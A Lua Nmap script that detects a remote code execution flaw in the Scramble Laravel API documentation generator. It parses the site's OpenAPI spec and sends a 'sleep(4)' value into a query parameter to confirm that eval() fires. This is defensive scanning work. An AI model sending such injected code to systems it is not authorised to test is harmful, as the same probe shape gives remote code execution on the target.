local http = require "http" local json = require "json" local shortport = require "shortport" local stdnse = require "stdnse" description = [[ Detects CVE-2026-44262 (GHSA-4rm2-28vj-fj39), a Remote Code Execution vulnerability in dedoc/scramble >=0.13.2, <0.13.22 (Laravel API documentation generator). Step 1: scans /docs/api.json for query parameters whose default values resemble Laravel validation rules (e.g. "required|string") — the vulnerable controller pattern. Step 2: sends a timing probe (sleep) to the discovered parameter to confirm eval() fires. No destructive exploitation is performed. References: https://github.com/joshuavanderpoll/CVE-2026-44262 https://github.com/advisories/GHSA-4rm2-28vj-fj39 ]] --- -- @usage -- nmap -p 80,443 --script http-scramble-rce-detect -- nmap -p 80,443 --script http-scramble-rce-detect --script-args http-scramble-rce-detect.path=/docs/api.json -- -- @args http-scramble-rce-detect.path Path to the OpenAPI JSON spec. Default: /docs/api.json -- -- @output -- PORT STATE SERVICE -- 80/tcp open http -- | http-scramble-rce-detect: -- | VULNERABLE (timing confirmed) -- | param: 'sort' in /v1/products (default: required|string) -- |_ delay: +4.1s -- -- PORT STATE SERVICE -- 80/tcp open http -- | http-scramble-rce-detect: -- |_ LIKELY VULNERABLE (pattern match only) -- |_ param: 'sort' in /v1/products (default: required|string) author = "Joshua van der Poll" license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" categories = {"discovery", "safe", "vuln"} portrule = shortport.http -- Laravel validation rule keywords that would never appear as legit query param defaults local RULE_KEYWORDS = { "required", "nullable", "string", "integer", "numeric", "boolean", "array", "min:", "max:", "in:", } local function looks_like_rule(default) if default:find("|") then return true end local lower = default:lower() for _, kw in ipairs(RULE_KEYWORDS) do if lower:sub(1, #kw) == kw then return true end end return false end action = function(host, port) local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/docs/api.json" local response = http.get(host, port, path) if not response or response.status ~= 200 then return nil end local body = response.body if not body or not body:find('"paths"') then return nil end local ok, data = json.parse(body) if not ok or type(data) ~= "table" then return nil end local paths = data["paths"] if type(paths) ~= "table" then return nil end local vuln_params = {} local vuln_param_names = {} for endpoint, methods in pairs(paths) do for _, method_data in pairs(methods) do local params = method_data["parameters"] if type(params) == "table" then for _, param in ipairs(params) do if param["in"] == "query" then local schema = param["schema"] if type(schema) == "table" then local default = tostring(schema["default"] or "") if default ~= "" and looks_like_rule(default) then table.insert(vuln_params, string.format("'%s' in %s (default: %s)", param["name"], endpoint, default)) table.insert(vuln_param_names, param["name"]) end end end end end end end if #vuln_params == 0 then return nil end -- timing probe — confirms eval() actually fires, not just pattern match local sleep_secs = 4 local param_name = vuln_param_names[1] local t0 = nmap.clock_ms() http.get(host, port, path) local baseline = nmap.clock_ms() - t0 local payload_path = path .. "?" .. param_name .. "=sleep(" .. sleep_secs .. ")" local t1 = nmap.clock_ms() http.get(host, port, payload_path) local elapsed = nmap.clock_ms() - t1 local delay = elapsed - baseline local confirmed = delay >= (sleep_secs * 750) local lines = { confirmed and "VULNERABLE (timing confirmed)" or "LIKELY VULNERABLE (pattern match only)" } for _, p in ipairs(vuln_params) do lines[#lines + 1] = " param: " .. p end if confirmed then lines[#lines + 1] = string.format(" delay: +%.1fs", delay / 1000) end return table.concat(lines, "\n") end